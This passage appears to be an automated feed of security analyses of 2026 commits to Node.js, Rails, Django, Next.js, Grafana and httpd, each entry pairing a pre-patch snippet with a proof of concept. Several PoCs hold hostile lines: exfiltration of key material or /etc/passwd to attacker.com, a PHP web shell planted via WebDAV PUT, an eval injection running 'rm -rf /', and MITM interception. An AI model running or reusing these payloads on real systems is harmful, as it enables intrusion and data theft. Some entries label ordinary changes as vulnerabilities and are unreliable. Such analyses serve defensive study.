const stream = await client.createBidirectionalStream();
// Never write to stream — server holds resources forever (pre-patch)
// Post-patch: server destroys stream after 30s idle timeout
}
May 23, 2026, 03:45 PM — nodejs/node
Commit: dfe2d47fe1e12b7935983e60ccea946c5ba3f529
Author: Filip Skokan
Before the patch, Node.js WebCrypto operations were vulnerable to prototype pollution attacks. An attacker could mutate built-in prototypes (e.g., Object.prototype.then, Promise constructor) to intercept or redirect WebCrypto promise resolutions, exfiltrate key material through JWK toJSON hooks, or manipulate intermediate results. The patch hardens the code by avoiding PromiseResolve() re-wrapping (which reads user-mutable constructors), using internal UTF-8 encoding bindings instead of shared TextEncoder/TextDecoder, and detaching JWK objects from user prototypes via null prototype assignment before processing.
function callSubtleCryptoMethod(fn, receiver, args) {
try {
return PromiseResolve(ReflectApply(fn, receiver, args));
} catch (err) {
return PromiseReject(err);
}
}
// Proof of concept: intercept WebCrypto key export via prototype pollution
const { subtle } = globalThis.crypto;
// Pollute Object.prototype.then to intercept thenable assimilation
Object.prototype.then = function(resolve) {
console.log('Intercepted WebCrypto result:', JSON.stringify(this));
resolve(this);
};
// Or pollute toJSON to exfiltrate JWK key material during wrapKey
Object.prototype.toJSON = function() {
// exfiltrate key material
fetch('https://attacker.com/steal?key=' + JSON.stringify(this));
return this;
};
// Now any WebCrypto operation returning an object would trigger the hook
subtle.generateKey({name: 'AES-GCM', length: 256}, true, ['encrypt', 'decrypt'])
.then(key => subtle.exportKey('jwk', key))
.then(jwk => console.log('key exfiltrated'));
// Before patch: toJSON on exported JWK object could leak key data
// Before patch: inherited 'then' on result objects could redirect promise resolution
May 21, 2026, 07:32 PM — rails/rails
Commit: 0b99f0b9b1b90c359807a405aadc9a3a4e4765de
Author: Rafael Mendonça França
Under `config.active_support.isolation_level = :fiber`, the ShareLock keyed ownership on `Thread.current` instead of the current fiber/execution context. Since all request fibers on a fiber-scheduled server (e.g., Falcon) share the same thread, the lock treated all concurrent request fibers as a single owner. This allowed the reloader's exclusive `:unload` lock to be acquired while another request fiber still held a share lock, causing autoloaded constants to be cleared mid-request. The patch fixes this by keying ownership on `ActiveSupport::IsolatedExecutionState.context` which correctly distinguishes fibers under fiber isolation.
def start_exclusive(purpose: nil, compatible: [], no_wait: false)
synchronize do
unless @exclusive_thread == Thread.current
if busy_for_exclusive?(purpose)
return false if no_wait
# With config.active_support.isolation_level = :fiber and a fiber-aware server:
# Fiber A (request fiber on Thread-1): acquires share lock via interlock.running
# Fiber B (reloader fiber on Thread-1): calls interlock.unload (exclusive lock)
#
# Before patch: @exclusive_thread check uses Thread.current, which is Thread-1 for BOTH fibers
# busy_for_exclusive? checks @sharing[Thread.current] which counts shares for Thread-1
# If Fiber A holds share under Thread-1, Fiber B on same Thread-1 sees itself as already sharing
# and can bypass the wait, acquiring exclusive lock while Fiber A still runs
# Result: ActiveSupport::Dependencies.clear called mid-request => NoMethodError on cleared constants
#
# Fiber.new { interlock.running { sleep 1; MyModel.find(1) } }.resume # Fiber A
# Fiber.new { interlock.unload { } }.resume # Fiber B - clears constants while Fiber A runs
May 20, 2026, 12:04 PM — django/django
Commit: 8fd29079ed1253f0cd88ccf330de30271a5d15e4
Author: Sarah Boyce
In the Django admin change form view, a POST request (e.g., running an action) only required `has_change_permission`, but actions can be configured to require only view permission. Before the patch, a user with only view permission could not run view-only actions from the change form, while a user with change permission was allowed. More critically, the permission check order meant that when running actions from the change form (which goes through `_changeform_view`), the code checked `has_change_permission` for all POST requests before the action handler ran, blocking legitimate view-permission actions. The patch restructures this so `has_view_or_change_permission` is checked first (allowing view-only users to see and run view-permitted actions), and `has_change_permission` is only checked after actions have been processed - preventing users from bypassing the change permission check when submitting the actual form save.
if request.method == "POST":
if not self.has_change_permission(request, obj):
raise PermissionDenied
else:
if not self.has_view_or_change_permission(request, obj):
raise PermissionDenied
1. Create a user with only 'view_externalsubscriber' permission (no change permission).
2. POST to /admin/admin_views/externalsubscriber/<pk>/change/ with data: {ACTION_CHECKBOX_NAME: [pk], 'CHANGE_FORM-action': 'external_mail'}
3. Before patch: The request raises PermissionDenied because has_change_permission returns False for view-only users on POST requests, even though the action only requires view permission.
4. After patch: The action executes successfully because has_view_or_change_permission passes, and has_change_permission is only checked after actions are processed (not for action submissions).
May 19, 2026, 04:21 PM — vercel/next.js
Commit: 085311e3b629f43ebb84b50b726a2a304fb94a23
Author: Hendrik Liebau
When both `cachedNavigations` and `varyParams` features are enabled in Next.js, a `<Link prefetch={true}>` for a dynamic route with fallback params could cause a Full prefetch response to be re-keyed under a generic 'Fallback' vary path (because varyParams tracking is incomplete for Full prefetches). A subsequent request for a different param value would then collide with that cache entry and receive the previously prefetched page's content, leaking param-specific content across different users/requests. The patch fixes this by skipping the re-keying step for Full prefetches, keeping entries pinned to their concrete vary path.
if (process.env.__NEXT_VARY_PARAMS && segmentVaryParams !== null) {
const fulfilledVaryPath = getFulfilledSegmentVaryPath(
tree.varyPath,
segmentVaryParams
)
// ... sets cache entry under generic fallback path
}
1. Enable cachedNavigations and varyParams features in Next.js app
2. Have a dynamic route /product/[slug] with fallback params
3. User A visits a page with a <Link href='/product/foo' prefetch={true}> link that enters the viewport, triggering a Full prefetch of /product/foo
4. The server returns incomplete varyParams (empty set) because dynamic stage params aren't tracked
5. Client re-keys the cache entry to a generic path with <Fallback> replacing the slug param
6. User B (or same user) navigates to /product/bar - the cache lookup collides with the <Fallback> keyed entry from step 5
7. User B sees /product/foo's content (param: foo) instead of /product/bar's content (param: bar) - cross-param content leak
May 4, 2026, 03:22 PM — nodejs/node
Commit: e0200f2d73ae0f112c32ff55ae4ab8af18106b5f
Author: Matteo Collina
Before the patch, `ObjectAssign(input || {}, options)` would merge options into the `input` object directly, and the resulting object retained its prototype chain. If a property like `hostname` was defined on `Object.prototype` by an attacker (prototype pollution), it could be read during the options merge/processing, potentially influencing HTTP request behavior such as redirecting requests to an attacker-controlled host. The fix uses `ObjectAssign({ __proto__: null }, input, options)` to create a null-prototype object, preventing prototype chain lookups from polluting the options object.
options = ObjectAssign(input || {}, options);
// Attacker pollutes Object.prototype with a malicious hostname
Object.prototype.hostname = 'evil.attacker.com';
// Now any http.request() call that goes through the else branch
// (i.e., when both input URL and options are provided) will pick up
// the polluted hostname if not explicitly set
const http = require('http');
http.request({ port: 80 }, (res) => {
// Request goes to evil.attacker.com:80 instead of intended host
console.log('Connected to:', res.socket.remoteAddress);
}).end();
// Before the patch, options.hostname resolves to 'evil.attacker.com'
// via prototype chain since input object inherits from Object.prototype
Apr 29, 2026, 04:39 AM — grafana/grafana
Commit: f2d8737c86f9bbae018865a6db8e9f4730b672b1
Author: Alex Khomenko
Before this patch, Grafana's provisioning feature allowed users to save repository URLs containing embedded credentials (e.g., `https://user:[email protected]/owner/repo`). Since the URL field is not treated as a secret and is returned verbatim by the settings API, any authenticated user (including low-privilege Viewers) could read the credentials by querying the provisioning settings endpoint. The patch adds frontend validation that detects and blocks URLs with userinfo components (username/password) before they can be saved.
url: {
label: t('provisioning.shared.url-label', 'Repository URL'),
validation: {
pattern: {
value: /^https:\/\/[^\/]+\/[^\/]+\/[^\/]+\/?$/,
message: t('provisioning.shared.url-pattern', 'Must be a valid repository URL (https://hostname/owner/repo)'),
},
},
},
1. As an admin, configure a provisioning repository with URL: https://user:[email protected]/owner/repo 2. Save the configuration (no validation prevents this before the patch) 3. As any authenticated Viewer, call GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/<name> 4. The response includes the full URL verbatim: {"spec":{"github":{"url":"https://user:[email protected]/owner/repo",...}}} 5. The token ghp_secrettoken123 is now exposed to all authenticated users, while secure.token would have been redacted
Apr 28, 2026, 02:04 PM — grafana/grafana
Commit: baa428a6b4bf471301079df6ea43a44536ba3036
Author: Misi
Before the patch, the `/teams/{name}/members` handler parsed `offset` and `page` query parameters but did not clamp them to non-negative values. A negative `offset` value would cause a negative slice index when slicing `t.Spec.Members\[offset:end\]`, triggering a Go runtime panic and crashing the handler (or the server process, depending on recovery middleware). The patch adds explicit clamping of `offset` to `\[0, total\]` before slicing.
window := t.Spec.Members[offset:end] // offset can be negative from ?offset=-1
GET /apis/iam.grafana.app/v0alpha1/namespaces/default/teams/myteam/members?offset=-1 This sends a negative offset to the handler. Before the patch, `offset` would be -1, `end` would be (-1 + limit), and the slice expression `t.Spec.Members[-1:end]` would cause a Go runtime panic: 'runtime error: slice bounds out of range [-1:]', crashing the request handler.
Apr 26, 2026, 04:28 PM — apache/httpd
Commit: eecbbca65f3fd09cf0c1aee763bc26b46a46380e
Author: Eric Covener
In mod_authn_socache.c, the `construct_key` function called `strrchr(r->uri, '/')` without checking if the result was NULL before using it in pointer arithmetic. If `r->uri` contained no '/' character (an unusual but possible condition), `slash` would be NULL and the expression `slash - r->uri` would cause undefined behavior/crash. The patch moves the slash computation earlier and adds a NULL check (`&& slash`) before entering the branch that uses it.
if (!strcmp(context, directory)) {
/* FIXME: are we at risk of this blowing up? */
char *new_context;
char *slash = strrchr(r->uri, '/');
new_context = apr_palloc(r->pool, slash - r->uri +
Send a crafted HTTP request where r->uri contains no '/' character. In Apache's normal operation r->uri always starts with '/', but via certain internal redirect or sub-request mechanisms, or a crafted request, a URI without '/' could be constructed. When the authn_socache module processes authentication for a directory context with such a URI, slash==NULL, and `slash - r->uri` dereferences NULL causing a server crash (DoS). Example: configure AuthnCacheContext directory, then trigger an internal sub-request with a URI like 'nodirectoryslash' to crash the child process.
Apr 25, 2026, 09:28 AM — nodejs/node
Commit: 21436f04057b62b4ad7b3704dad73898c681cd1e
Author: Matteo Collina
Before the patch, `req.headers` and `req.trailers` in Node.js HTTP/HTTP2 IncomingMessage were plain objects (`{}`) with `Object.prototype` as their prototype. This allowed an attacker to send HTTP headers named `__proto__`, `constructor`, or `toString` that could pollute the prototype chain or shadow built-in properties when the headers object was used in certain ways. The patch fixes this by creating the headers object with a null prototype (`{ __proto__: null }`), preventing any prototype chain manipulation.
if (!this[kHeaders]) {
this[kHeaders] = {};
const src = this.rawHeaders;
const dst = this[kHeaders];
// Attacker sends HTTP request with __proto__ header:
// GET / HTTP/1.1\r\nHost: victim\r\n__proto__: polluted\r\n\r\n
//
// Server-side code that may be vulnerable:
const http = require('http');
http.createServer((req, res) => {
// Before patch: req.headers has Object.prototype
// A header named '__proto__' could be interpreted as prototype manipulation
// depending on how the object is used downstream
const headers = req.headers;
// If code does: Object.assign(target, req.headers)
// or: for (let k in req.headers) target[k] = req.headers[k]
// the __proto__ key could pollute target's prototype
const target = {};
Object.assign(target, headers); // __proto__ assignment pollutes Object.prototype
console.log(({}).polluted); // could output attacker-controlled value
res.end();
}).listen(8080);
Apr 23, 2026, 05:20 PM — nodejs/node
Commit: 800f5828dce64a16e2255315a0c29ea71c25d044
Author: Jonathan Lopes
The `nidOnlyKeyPairs` object in Node.js crypto's `generateKeyPair` was created as a regular object without a null prototype, allowing inherited properties from `Object.prototype` (like `toString`, `constructor`, `hasOwnProperty`, etc.) to be used as valid key type names. By passing a type name like `'toString'` or `'constructor'`, an attacker could bypass the intended key type validation and potentially trigger unexpected behavior in the NID-based key pair generation. The patch fixes this by setting `'__proto__': null` on the object, removing inherited properties from the lookup table.
const nidOnlyKeyPairs = {
'ed25519': EVP_PKEY_ED25519,
'ed448': EVP_PKEY_ED448,
'x25519': EVP_PKEY_X25519,
const { generateKeyPairSync } = require('crypto');
// Before the patch, 'toString' would be found in nidOnlyKeyPairs via prototype
// inheritance, causing NidKeyPairGenJob to be called with undefined NID value
// instead of throwing ERR_INVALID_ARG_VALUE
try {
generateKeyPairSync('toString', {});
console.log('No error thrown - vulnerability confirmed');
} catch (e) {
console.log('Error:', e.code); // Should be ERR_INVALID_ARG_VALUE but before patch may be different
}
Apr 22, 2026, 06:25 PM — django/django
Commit: dc467fdc3b5744cec71fab876c23a14013e2510b
Author: Dinesh
Before the patch, a maliciously crafted Content-Type header containing an RFC 2231 encoded parameter with an invalid encoding name (e.g., `charset*=BOGUSencoding''value`) would cause an unhandled LookupError in parse_header_parameters(), resulting in an HTTP 500 Internal Server Error instead of a proper HTTP 400 Bad Request. This crash could expose stack traces (if DEBUG=True) or indicate internal implementation details, and could be used for denial-of-service by causing unhandled exceptions in request parsing. The fix wraps the unquote call in a try/except to raise ValueError, which is then caught and re-raised as BadRequest (HTTP 400).
if has_encoding:
encoding, lang, value = value.split("'")
value = unquote(value, encoding=encoding)
Send an HTTP request with the following Content-Type header:
GET / HTTP/1.1
Host: example.com
Content-Type: text/plain; charset*=BOGUSencoding''%20
Before the patch, Django would raise an unhandled LookupError (unknown encoding: BOGUSencoding), resulting in HTTP 500. In DEBUG mode, this leaks a full stack trace. Script:
import requests
r = requests.get('http://localhost:8000/', headers={'Content-Type': "text/plain; charset*=BOGUSencoding''%20"})
print(r.status_code) # 500 before patch, 400 after patch
Apr 20, 2026, 11:11 AM — grafana/grafana
Commit: ed46c962f394834b533faf6dea724e757e8da43f
Author: Robert Clarke
Before this patch, the `basicAuth` struct's `RequireTransportSecurity()` method always returned `true`, which should have prevented basic auth credentials from being sent over non-TLS (insecure) gRPC connections. However, this hardcoded `true` value actually caused a conflict: when connecting to a non-TLS endpoint (using `insecure.NewCredentials()`), gRPC would reject the connection because the per-RPC credentials demanded transport security but none was configured. The fix makes `requireTransportSecurity` match the actual TLS state (`secure` variable). The real security concern is the inverse scenario: if an attacker or misconfiguration causes basic auth credentials to be transmitted over a plaintext gRPC connection, the credentials (username/password encoded in Base64) would be exposed in transit.
func (c *basicAuth) RequireTransportSecurity() bool {
return true
}
Configure a Tempo datasource in Grafana with basic auth enabled and a non-TLS gRPC URL (e.g., grpc://tempo-host:9095). With RequireTransportSecurity() hardcoded to true, gRPC rejects the connection entirely. After the fix with requireTransportSecurity=false for non-TLS, the connection succeeds but credentials flow over plaintext. An attacker on the network path can capture the gRPC stream and decode the Authorization header: `echo 'dXNlcjpwYXNzd29yZA==' | base64 -d` => `user:password`, extracting the Tempo datasource credentials.
Mar 18, 2026, 08:46 PM — apache/httpd
Commit: e8b5fdc083f38f0395c992e9e9c6a4749674acc5
Author: Rich Bowen
The original example configuration had 'Require all granted' at the Directory level, which grants unauthenticated access to all users by default. The LimitExcept block only required authentication for non-GET/POST/OPTIONS methods, but the outer 'Require all granted' could override authentication requirements depending on configuration context. The patch removes 'Require all granted' and replaces the LimitExcept approach with a RequireAny block that properly requires either the correct HTTP method OR an authenticated admin user, ensuring write operations require authentication.
<Directory "/usr/local/apache2/htdocs/foo">
Require all granted
Dav On
...
<LimitExcept GET POST OPTIONS>
Require user admin
</LimitExcept>
With the old config, an unauthenticated user could perform WebDAV write operations: `curl -X PUT http://example.com/foo/malicious.php -d '<?php system($_GET["cmd"]); ?>'` - The 'Require all granted' directive grants access to all users, and depending on Apache's authorization merging behavior, could allow unauthenticated PUT/DELETE/MKCOL requests to modify server files, potentially leading to remote code execution.
Feb 24, 2026, 08:05 PM — grafana/grafana
Commit: f1b77b82db5b8f4a0a10db5fb013b39869db464d
Author: colin-stuart
The code allowed SAML authentication to create duplicate user_auth records for SCIM-provisioned users instead of updating existing ones. An attacker could exploit this by logging in via SAML with a SCIM user's credentials to create a new auth record with their own AuthID, potentially bypassing access controls or creating authentication confusion.
if identity.AuthenticatedBy == login.GenericOAuthModule {
query := &login.GetAuthInfoQuery{AuthModule: identity.AuthenticatedBy, UserId: usr.ID}
userAuth, err = s.authInfoService.GetAuthInfo(ctx, query)
1. SCIM provisions user with email '[email protected]' and creates user_auth record with empty AuthID 2. Attacker performs SAML login with same email '[email protected]' but different AuthID 'attacker-saml-id' 3. Code fails to find existing auth record by AuthID lookup, creates new user_auth record instead of updating existing one 4. Result: User now has two authentication methods - original SCIM provision + attacker's SAML AuthID, allowing potential unauthorized access
Feb 24, 2026, 09:32 AM — grafana/grafana
Commit: f13db6553c2037967bd87e215e1a12d38b8fe211
Author: Maksym Revutskyi
The code before the patch used HTTP transport without proper TLS certificate validation when communicating with external image renderer services. This allowed attackers to intercept HTTPS communications through man-in-the-middle attacks, potentially exposing authentication tokens and sensitive data. The patch adds support for custom CA certificates to enable proper certificate validation.
var netTransport = &http.Transport{
Proxy: http.ProxyFromEnvironment,
Dial: (&net.Dialer{
Timeout: 30 * time.Second,
}).Dial,
TLSHandshakeTimeout: 5 * time.Second,
}
1. Set up a malicious proxy/MITM tool like mitmproxy with a self-signed certificate 2. Configure network to route Grafana's image renderer traffic through the proxy 3. The original code would accept any certificate without validation, allowing interception of requests containing X-Auth-Token headers 4. Command: `mitmproxy -p 8080 --certs *=cert.pem` then configure Grafana to use renderer at https://malicious-renderer:8081 - the auth tokens would be captured in plaintext
Feb 24, 2026, 09:19 AM — rails/rails
Commit: 508662256608a0efe9221d801c894e8bbe126145
Author: Jean Boussier
The custom inspect methods in various Rails classes exposed sensitive internal state including cryptographic keys, secrets, and other confidential data in debug output, logs, and error messages. The patch replaces custom inspect methods with a standardized approach that only shows safe instance variables, preventing accidental leakage of sensitive information.
def inspect # :nodoc:
"#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end
# In a Rails console or debug session: encryptor = ActiveSupport::MessageEncryptor.new(SecretKey.new) encryptor.inspect # Before patch: Would expose the secret key in the output # After patch: Only shows class name and object ID # Or in ActionCable connection: connection = ActionCable::Connection::Base.new(server, env) connection.inspect # Before patch: Could expose connection secrets, tokens, or session data # After patch: Only shows safe, filtered instance variables
Feb 24, 2026, 09:07 AM — rails/rails
Commit: 4c0776608a2e8048093c80de192de4f446c4d1fa
Author: Mark Bastawros
The custom inspect methods in various Rails classes could potentially expose sensitive internal state or configuration data through debug output, error messages, or logs. The patch replaces these with a controlled inspection mechanism that only shows explicitly whitelisted instance variables.
def inspect # :nodoc:
"#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end
# In a Rails console or error handler: connection = ActionCable::Connection::Base.new(server, env) connection.instance_variable_set(:@secret_token, 'sensitive_data') puts connection.inspect # Before patch: Could expose @secret_token and other internals # After patch: Only shows basic object info without sensitive variables
Feb 23, 2026, 04:36 PM — vercel/next.js
Commit: 45a8a82db5f701546300fc7478ccbe8776350dc0
Author: Tobias Koppers
The code had a concurrency bug where the follower's aggregation number was read without proper locking, allowing the inner-vs-follower classification decision to be made on stale data if the aggregation number changed concurrently. This could lead to incorrect task classification and potential data corruption in the aggregation system.
let follower_aggregation_number = get_aggregation_number(&follower); let should_be_follower = follower_aggregation_number < upper_aggregation_number;
Thread 1 reads follower's aggregation number (e.g., 10) and determines it should be a follower. Thread 2 concurrently updates the same follower's aggregation number to a higher value (e.g., 20). Thread 1 proceeds with the stale classification decision, incorrectly treating a node that should be an inner node as a follower, leading to incorrect aggregation graph structure and potential data corruption.
Feb 21, 2026, 04:06 AM — vercel/next.js
Commit: 632725b0ad714043737b28e0d7b4a5ee6b2fa9ec
Author: Sebastian "Sebbie" Silbermann
The script accepts user-provided file paths without validation and directly converts them to file URLs, allowing attackers to access arbitrary files on the system. The patch adds proper path handling using pathToFileURL() which normalizes paths and prevents directory traversal attacks.
if (version !== null && version.startsWith('/')) {
version = pathToFileURL(version).href
}
pnpm run sync-react --version "../../../etc/passwd" would allow reading system files outside the intended React checkout directory before the patch
Feb 20, 2026, 02:43 PM — django/django
Commit: 283ea9e9e014adf0013c18700c36b98efa2f0aac
Author: SiHyunLee
The Django admin interface was vulnerable to XSS attacks when displaying model string representations that contained only whitespace or malicious scripts. The vulnerability occurred because whitespace-only strings were not properly sanitized before being rendered in HTML contexts, allowing attackers to inject malicious scripts through model __str__ methods.
obj_repr = format_html('<a href="{}">{}</a>', urlquote(obj_url), obj)
# Direct use of obj without sanitization
Create a Django model with a __str__ method that returns '<script>alert("XSS")</script>' or just whitespace followed by script tags. When viewing this object in the Django admin interface, the malicious script would execute in the browser due to improper escaping of the object representation in admin templates and breadcrumbs.
Feb 20, 2026, 08:25 AM — grafana/grafana
Commit: 430abe78becc1996d2327e06d449aaad0ca80bc1
Author: Georges Chaudy
The old authorization system used deprecated Compile method which performed authorization checks item-by-item during iteration, potentially allowing unauthorized access to resources due to race conditions or incomplete authorization state. The patch replaces this with FilterAuthorized using BatchCheck which performs more robust batch authorization before returning results.
checker, _, err := s.access.Compile(ctx, user, claims.ListRequest{
Group: key.Group,
Resource: key.Resource,
Namespace: key.Namespace,
Verb: utils.VerbGet,
})
1. User with limited permissions makes concurrent List requests for resources they shouldn't access 2. During the item-by-item authorization check in the old code, if authorization state changes between checks or there's a race condition, some unauthorized items could pass through the checker 3. Attacker could potentially access resources in folders/namespaces they don't have permissions for by exploiting timing windows in the deprecated Compile authorization flow
Feb 19, 2026, 04:37 PM — facebook/react
Commit: f247ebaf44317ac6648b62f99ceaed1e4fc4dc01
Author: Tim Neutkens
The original code used JSON.parse with a reviver function that could potentially allow __proto__ property manipulation during RSC payload deserialization. The patch explicitly deletes __proto__ keys during the walking phase and moves away from the reviver approach to prevent prototype pollution attacks.
return JSON.parse(json, response._fromJSON); // where _fromJSON reviver processes all key-value pairs including __proto__
Send RSC payload with malicious JSON: {"__proto__": {"polluted": true, "isAdmin": true}} - this could pollute Object.prototype during the reviver processing before parseModelString filters are applied, potentially affecting application logic that checks object properties.
Feb 19, 2026, 12:58 PM — grafana/grafana
Commit: b0d812f414a22201e95d9646894dc5563f729ed4
Author: Rafael Bortolon Paulovic
The code had a race condition vulnerability during database migrations where concurrent writes to legacy tables could occur during unified storage migrations in rolling upgrade scenarios. This could lead to data corruption or inconsistent state as multiple processes could simultaneously modify the same database tables without proper synchronization.
Resources: []migrations.ResourceInfo{
{GroupResource: folderGR, LockTable: "folder"},
{GroupResource: dashboardGR, LockTable: "dashboard"},
}
During a rolling upgrade, start a unified storage migration for dashboards while simultaneously having another Grafana instance write to the dashboard table. The race condition occurs when: 1) Migration process reads dashboard data from legacy tables, 2) Another instance modifies the same dashboard record, 3) Migration process writes to unified storage based on stale data, resulting in data loss or corruption of the dashboard modifications made in step 2.
Feb 18, 2026, 10:33 PM — grafana/grafana
Commit: ba0f62a8dad160e0fdb2d7993fcb6c6d194f1d22
Author: beejeebus
The code exposed encrypted datasource secrets even when they were empty, potentially leaking secret metadata or encrypted empty values to unauthorized users. The patch fixes this by filtering out empty secrets before returning them in API responses.
return q.converter.AsDataSource(ds)
GET /api/datasources/{uid} - An attacker with read access could retrieve a datasource configuration and see references to all configured secret fields (even empty ones) in the SecureJsonData map, potentially revealing what secret fields are configured and their encrypted empty values, which could aid in further attacks or reveal system configuration details.
Feb 17, 2026, 05:58 PM — grafana/grafana
Commit: 193f6f1a50938d9fd91636dadaf00274989e5a58
Author: Costa Alexoglou
The script used relative paths without proper directory resolution, allowing an attacker to execute the script from a different working directory and cause certificates to be written to unintended locations. This could lead to certificate files being created in arbitrary directories or overwriting existing files.
rm -rf data/grafana-aggregator mkdir -p data/grafana-aggregator openssl req -nodes -new -x509 -keyout data/grafana-aggregator/ca.key
cd /tmp && /path/to/grafana/hack/make-aggregator-pki.sh - This would create certificates in /tmp/data/grafana-aggregator/ instead of the intended repo location, potentially overwriting files or bypassing access controls in the /tmp directory.
Feb 17, 2026, 03:04 PM — grafana/grafana
Commit: aac8061faaff75f917338a326eaf8c3ce5d38342
Author: Tania
The code was performing namespace validation for all provider types, but the static provider (which serves local configuration) should not enforce namespace restrictions. This created an authorization bypass where users could access feature flags from other organizations by using the static provider endpoint with mismatched namespaces.
valid, ns := b.validateNamespace(r)
if !valid {
http.Error(w, namespaceMismatchMsg, http.StatusUnauthorized)
return
}
An attacker authenticated to org-1 could access feature flags intended for org-2 by making requests to the static provider endpoints (when providerType is not FeaturesServiceProviderType or OFREPProviderType) with org-2's namespace in the URL path, bypassing the namespace validation that should prevent cross-organization access.
Feb 17, 2026, 12:03 PM — grafana/grafana
Commit: ccaf8685b47b1a291ed0b1945be83f1e8324d977
Author: Igor Suleymanov
The dual-writer storage system was not properly handling dry-run operations, allowing state modifications and side effects (like permission changes) to occur when they should only validate without making changes. This violates the dry-run contract where operations must be read-only.
// Before patch - no dry-run check in Create method
func (d *dualWriter) Create(ctx context.Context, in runtime.Object, createValidation rest.ValidateObjectFunc, options *metav1.CreateOptions) (runtime.Object, error) {
// ... proceeds to modify both legacy and unified storage even during dry-run
POST /api/v1/folders
Content-Type: application/json
Dry-Run: All
{"metadata":{"name":"test-folder"},"spec":{"title":"Test Folder"}}
# Before patch: This would create actual folder and modify permissions despite dry-run flag
# After patch: This only validates without side effects
Feb 16, 2026, 02:59 PM — nodejs/node
Commit: 4d867af6c5d4b47b240ae4050265eb806f36e61e
Author: Shelley Vohr
The code used eval() to parse configuration data, which allows arbitrary Python code execution if an attacker can control the node_builtin_shareable_builtins configuration value. The patch replaces eval() with json.loads() to safely parse JSON data.
eval(config['node_builtin_shareable_builtins'])
An attacker could set node_builtin_shareable_builtins to '__import__("os").system("rm -rf /")' which would execute arbitrary shell commands when eval() processes it during the build configuration generation.
Feb 16, 2026, 12:14 PM — grafana/grafana
Commit: 9be63b169b8e9f07a8b05df5d9b901a06ec611a3
Author: Steve Simpson
The code added validation for alert label matchers to prevent query injection in LogQL queries. Before the patch, malicious label names or matcher types could be injected into the LogQL query string without proper validation, potentially allowing attackers to manipulate the query structure.
logql += fmt.Sprintf(` | alert_labels_%s %s %q`, matcher.Label, matcher.Type, matcher.Value)
POST request with Labels: [{"Type": "| json | drop", "Label": "severity", "Value": "critical"}] or Labels: [{"Type": "=", "Label": "test\" = \"injected\"", "Value": "value"}] to inject arbitrary LogQL operators and manipulate the query structure
Feb 16, 2026, 07:36 AM — grafana/grafana
Commit: 3f6518806f8c58f91e8a1f6756deb42d1b09d22a
Author: Daniele Stefano Ferru
The code allowed updating Repository resources to remove all finalizers, which would cause immediate deletion without proper cleanup when the resource is later deleted. This bypasses the intended cleanup workflow and could lead to orphaned resources or incomplete cleanup operations.
if len(r.Finalizers) == 0 && a.GetOperation() == admission.Create {
r.Finalizers = []string{
RemoveOrphanResourcesFinalizer,
CleanFinalizer,
}
}
1. Create a Repository resource (finalizers are added automatically)
2. Update the Repository with an empty finalizers array: `kubectl patch repository myrepo --type='merge' -p='{"metadata":{"finalizers":[]}}'`
3. Delete the Repository: `kubectl delete repository myrepo`
4. The resource is immediately deleted without cleanup, bypassing the controller's cleanup logic and potentially leaving orphaned resources
Feb 14, 2026, 08:50 AM — rails/rails
Commit: 97cda8c49a2ffb5eea15a80ec99ada41c2b0df36
Author: Jean Boussier
The vulnerability allows silent data corruption where regular columns can be incorrectly deduplicated with virtual columns, causing INSERT and UPDATE statements to exclude legitimate columns and store NULL values instead of the intended data. This occurs when the deduplication registry encounters a virtual column first, then treats a regular column with the same name and type as identical.
def ==(other)
other.is_a?(Column) &&
super &&
auto_increment? == other.auto_increment?
end
1. Create a table with a virtual column named 'status' 2. Access the virtual column to register it in deduplication cache 3. Create another table with a regular column named 'status' 4. Attempt to insert data: User.create!(status: 'active') 5. The status field will be NULL in database instead of 'active' because the regular column was deduplicated to the virtual column and excluded from the INSERT statement
Feb 14, 2026, 08:50 AM — rails/rails
Commit: 1a4305dfd0ba24e8d7b2fe17dfc8b60818437468
Author: Joshua Huber
The Deduplicable module incorrectly treated virtual (generated) columns and regular columns as identical when they had the same name and type, causing regular columns to be silently excluded from INSERT/UPDATE operations. This resulted in NULL values being stored instead of the intended data, leading to silent data corruption.
def ==(other)
other.is_a?(Column) &&
super &&
auto_increment? == other.auto_increment?
end
1. Create a table with a virtual column named 'name' 2. Create another table with a regular column named 'name' of same type 3. Access virtual column first to register it in deduplication cache 4. Attempt INSERT on regular table: MyModel.create!(name: 'test_data') 5. The 'name' field will be NULL in database instead of 'test_data' due to column deduplication treating regular column as virtual
Feb 13, 2026, 06:45 PM — vercel/next.js
Commit: 740d55cdcefe5e62a2e0f6d65cd543d4b24423cc
Author: Tobias Koppers
The feature allows arbitrary webpack loader execution through import attributes without proper validation or sandboxing. An attacker can specify malicious loader code that gets executed during the build process, potentially leading to remote code execution on the build server.
import value from '../data.js' with { turbopackLoader: 'malicious-loader', turbopackLoaderOptions: '{"cmd":"rm -rf /"}' }
Create a malicious loader at node_modules/malicious-loader/index.js:
```js
module.exports = function(source) {
const { exec } = require('child_process');
exec('curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/exfil');
return source;
}
```
Then use: `import data from './file.txt' with { turbopackLoader: 'malicious-loader' }` to execute arbitrary commands during build time.
Feb 13, 2026, 06:25 PM — grafana/grafana
Commit: 74d146aa370c1cbaf1a9e701389c0bc0d55e4794
Author: Mihai Turdean
The MT IAM API server was using a no-op storage backend for RoleBindings, which silently dropped all write operations and returned empty results for reads. Additionally, the authorizer denied all access to rolebindings. This created an authorization bypass where RBAC role bindings were completely non-functional, potentially allowing unauthorized access or preventing proper access controls from being enforced.
roleBindingsStorage: noopstorage.ProvideStorageBackend(), // TODO: add a proper storage backend ... return authorizer.DecisionDeny, "access denied", nil
POST /apis/iam.grafana.app/v0alpha1/rolebindings with body: {"apiVersion":"iam.grafana.app/v0alpha1","kind":"RoleBinding","metadata":{"name":"admin-binding"},"subjects":[{"kind":"User","name":"attacker"}],"roleRef":{"kind":"Role","name":"admin"}} - This request would be silently dropped by noopstorage, never creating the intended role binding, while appearing to succeed to the caller.
Feb 12, 2026, 10:28 PM — grafana/grafana
Commit: 14ee584465b427a1419e4fb21555a5be42fffa22
Author: Tom Ratcliffe
The code previously only allowed admin users to see team folder owners, but the patch changes this to allow any user with 'teams:read' permission to see folder owners. This creates an information disclosure vulnerability where users with lower privileges can access team ownership information they shouldn't be able to see.
const isAdmin = contextSrv.hasRole('Admin') || contextSrv.isGrafanaAdmin;
{isAdmin && config.featureToggles.teamFolders && folderDTO && 'ownerReferences' in folderDTO && (
